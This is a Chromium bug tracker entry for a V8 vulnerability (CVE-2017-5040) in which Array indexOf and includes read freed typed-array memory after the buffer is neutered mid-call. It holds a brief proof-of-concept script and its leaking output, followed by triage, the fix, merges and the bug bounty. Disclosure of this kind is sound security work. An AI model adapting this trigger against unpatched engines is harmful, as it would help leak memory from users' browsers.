Project: chromium Issues People Development process History Sign in
New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.
Starred by 2 users
Status: Fixed
Owner:
Closed: Feb 2017
Cc:
Components:
EstimatedDays: ----
NextAction: ----
OS: All
Pri: 0
Type: Bug-Security



Sign in to add a comment
Security: Information Leak in Array indexOf
Reported by cwhan.t...@gmail.com, Feb 12 2017 Back to list
VULNERABILITY DETAILS

This vulnerability occurs in the following two functions:
- Array.prototype.indexOf(arr, elem, from_index);
- Array.prototype.includes(arr, elem, from_index);

I'll describe only indexOf since two vulnerabilities occurs in the similar process.

Summary: In the process of Array.indexOf, properties of arr can be changed.

In runtime-array.cc,

1. it checks the length of the target array first (https://chromium.googlesource.com/v8/v8/+/5.6.326.50/src/runtime/runtime-array.cc#574).
2. from_index is converted to integer by calling Object::ToInteger (https://chromium.googlesource.com/v8/v8/+/5.6.326.50/src/runtime/runtime-array.cc#586).
3. Iterate elements using the length calculated in 1.

In the step 2, the length of the target array can be changed (or any properties can be changed). If we pass a typed array to the `arr`, and if we neuter arr.buffer in the step 2. Then, step 3 search in freed elements.

VERSION
v8 5.6.326.50 32bit version
I tested it in Ubuntu 14.04.3 64bit, and compiled v8 to ia32.release.

REPRODUCTION CASE

For simplicity, I used ArrayBufferNeuter native function.

================ test.js ==================
// flags: --allow-natives-syntax
var buf = new ArrayBuffer(0x10000);
var arr2 = new Uint8Array(buf).fill(55);
var tmp = {};
tmp[Symbol.toPrimitive] = function () {
  %ArrayBufferNeuter(arr2.buffer)
  var arr3 = new Uint8Array(0x800).fill(0xfc);
  return 0;
};

print(Array.prototype.indexOf.call(arr2, 0x00, tmp));
==========================================

$ ./out/ia32.release/d8 --allow-natives-syntax ./test_arrindex.js
10

Since we filled the typedarray to 55, it has to print -1. But, in my machine, it prints 10 as an output. It searched freed elements, and found the position of null! If we use Uint8Array for brute-force, we can easily guess values in memories. 
 
Components: Infra>Client>V8
Cc: mattloring@google.com ca...@igalia.com
Owner: yangguo@chromium.org
Status: Assigned
+yangguo@, could you help triage this issue? Feel free to re-assign owner
Cc: bmeu...@chromium.org
Seems rather serious at first glance.
Cc: cbruni@chromium.org yangguo@chromium.org
Components: -Infra>Client>V8 Blink>JavaScript>Runtime
Labels: Security Arch-All OS-All Pri-0
Owner: bmeu...@chromium.org
Cc: petermarshall@chromium.org
Cc: -cbruni@chromium.org
Owner: cbruni@chromium.org
Assigning to cbruni@ for investigation: It seems that the IndexOfValueImpl for TypedArrays is missing a neutering check.
Cc: hablich@chromium.org
Labels: M-56
Labels: Security_Impact-Stable Security_Severity-High
Labels: -Security_Severity-High Security_Severity-Critical
[elements] Check if the backing store has been neutered for indexOf

BUG= 691323 

Change-Id: I84f2c90355982567c421639e115745eadd5fcb21
Reviewed-on: https://chromium-review.googlesource.com/441964
Reviewed-by: Caitlin Potter <caitp@igalia.com>
Reviewed-by: Camillo Bruni <cbruni@chromium.org>
Commit-Queue: Camillo Bruni <cbruni@chromium.org>
Cr-Commit-Position: refs/heads/master@{#43279}
Labels: Merge-Request-56 Merge-Request-57
Project Member Comment 13 by sheriffbot@chromium.org, Feb 20 2017
Status: Fixed
Please mark security bugs as fixed as soon as the fix lands, and before requesting merges. This update is based on the merge- labels applied to this issue. Please reopen if this update was incorrect.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: reward-topanel
Labels: ReleaseBlock-Stable
Labels: -Merge-Request-56 -Merge-Request-57 Merge-Approved-57 Merge-Approved-56
Project Member Comment 17 by sheriffbot@chromium.org, Feb 21 2017
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
If possible, Please merge your change to M57 branch 2987 by 5:00 PM PT today, Tuesday (02/21) so we can pick it up for this week beta release. Thank you.
Labels: -Security_Severity-Critical Security_Severity-Medium
Project Member Comment 20 by sheriffbot@chromium.org, Feb 24 2017
This issue has been approved for a merge. Please merge the fix to any appropriate branches as soon as possible!

If all merges have been completed, please remove any remaining Merge-Approved labels from this issue.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Comment 21 by adamk@chromium.org, Feb 24 2017
Labels: -Merge-Approved-57 merge-merged-57
Merged to v8 5.7 branch as https://crrev.com/9dae47c8dade7216f624ab4487e610faf90c2237
Labels: -M-56 -ReleaseBlock-Stable M-57
Project Member Comment 23 by sheriffbot@chromium.org, Feb 27 2017
This issue has been approved for a merge. Please merge the fix to any appropriate branches as soon as possible!

If all merges have been completed, please remove any remaining Merge-Approved labels from this issue.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: -reward-topanel reward-unpaid reward-2000
Congratulations! The panel decided to award $2,000 for this bug!
Labels: -reward-unpaid reward-inprocess
Labels: -Merge-Approved-56
Labels: Release-0-57
Labels: Release-0-M57
Labels: -Release-0-57
Labels: CVE-2017-5040
Project Member Comment 32 by sheriffbot@chromium.org, May 30
Labels: -Restrict-View-SecurityNotify allpublic
This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Sign in to add a comment